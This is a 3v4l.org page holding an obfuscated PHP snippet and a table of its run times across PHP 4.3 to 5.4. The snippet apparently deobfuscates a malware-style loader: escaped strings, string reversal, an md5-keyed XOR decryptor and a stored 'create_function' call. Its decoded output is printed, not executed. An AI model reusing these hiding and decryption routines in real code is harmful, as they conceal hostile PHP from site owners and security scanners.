3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } print($b."//"); } function cqq($qw) { echo random($domarr,$qw); } function oo1($y) { $y = strrev($y); $g = substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } print($g."//"); } function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g=""; while(strlen($g)<strlen($s)) { $q = pack("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "en2"; $xx="explode"; $ecx="create_function"; $scy="str_replace"; //$a = $xx("|","\x|1|="|";$|$"); $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } print($g."//"); print($soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $n9 = '1067|416|779|223|361'; $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } print_r($v_[]);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.230.2830.03718.93
5.4.220.3630.04718.97
5.4.210.3770.03719.14
5.4.200.4170.02719.17
5.4.190.4100.04319.14
5.4.180.4000.04319.21
5.4.170.4000.03719.05
5.4.160.4830.03319.04
5.4.150.4200.03719.13
5.4.140.4230.03316.51
5.4.130.4500.03316.25
5.4.120.3730.04016.50
5.4.110.4030.04016.39
5.4.100.3830.03316.64
5.4.90.4030.04016.38
5.4.80.3930.03716.24
5.4.70.3930.03716.54
5.4.60.4070.03316.45
5.4.50.4530.04016.49
5.4.40.4030.03716.23
5.4.30.3870.03316.23
5.4.20.4070.04016.45
5.4.10.4170.03316.44
5.4.00.3800.04015.83
5.3.280.2900.03714.52
5.3.270.4170.03014.54
5.3.260.4870.04014.51
5.3.250.4500.03314.54
5.3.240.4200.04314.58
5.3.230.4100.03314.56
5.3.220.4100.03714.57
5.3.210.4130.03714.54
5.3.200.3830.04014.59
5.3.190.3900.03014.49
5.3.180.3530.04014.50
5.3.170.3800.04014.50
5.3.160.3870.02714.52
5.3.150.4170.03014.44
5.3.140.4370.04314.49
5.3.130.4100.03314.50
5.3.120.4370.04714.48
5.3.110.4070.03714.47
5.3.100.3870.03014.02
5.3.90.3770.04014.00
5.3.80.3770.03713.96
5.3.70.3870.02714.03
5.3.60.3970.03714.02
5.3.50.3730.03713.89
5.3.40.4070.03713.89
5.3.30.5200.02013.83
5.3.20.3500.03713.71
5.3.10.3730.03313.61
5.3.00.4130.03313.59
5.2.170.3200.03311.08
5.2.160.3500.02311.04
5.2.150.3370.03011.13
5.2.140.3330.03011.05
5.2.130.3600.03011.00
5.2.120.3200.02311.00
5.2.110.2830.03011.25
5.2.100.3570.02310.99
5.2.90.3400.02710.98
5.2.80.3370.02011.00
5.2.70.2900.03010.97
5.2.60.3400.02711.20
5.2.50.4070.02710.96
5.2.40.2930.03310.89
5.2.30.2970.02311.13
5.2.20.2870.03010.88
5.2.10.2730.02710.86
5.2.00.3000.03310.72
5.1.60.2570.0279.98
5.1.50.2800.0239.98
5.1.40.2700.0209.95
5.1.30.3170.02010.38
5.1.20.3100.02310.43
5.1.10.2570.03010.08
5.1.00.2800.02710.09
5.0.50.1500.0278.55
5.0.40.1300.0178.27
5.0.30.1230.0338.23
5.0.20.1470.0238.16
5.0.10.1370.0238.18
5.0.00.1570.0308.16
4.4.90.1370.0175.88
4.4.80.0730.0335.88
4.4.70.1500.0135.79
4.4.60.1170.0235.80
4.4.50.1430.0205.85
4.4.40.1570.0275.88
4.4.30.1700.0205.77
4.4.20.1930.0105.88
4.4.10.1170.0135.85
4.4.00.1200.0235.82
4.3.110.1470.0175.73
4.3.100.1230.0175.81
4.3.90.1470.0205.76
4.3.80.1400.0275.83
4.3.70.1200.0135.67
4.3.60.1530.0135.79
4.3.50.0900.0205.75
4.3.40.1470.0275.64
4.3.30.0670.0134.98
4.3.20.0700.0204.98
4.3.10.0600.0174.98
4.3.00.0730.0174.98

preferences:
145.06 ms | 1394 KiB | 7 Q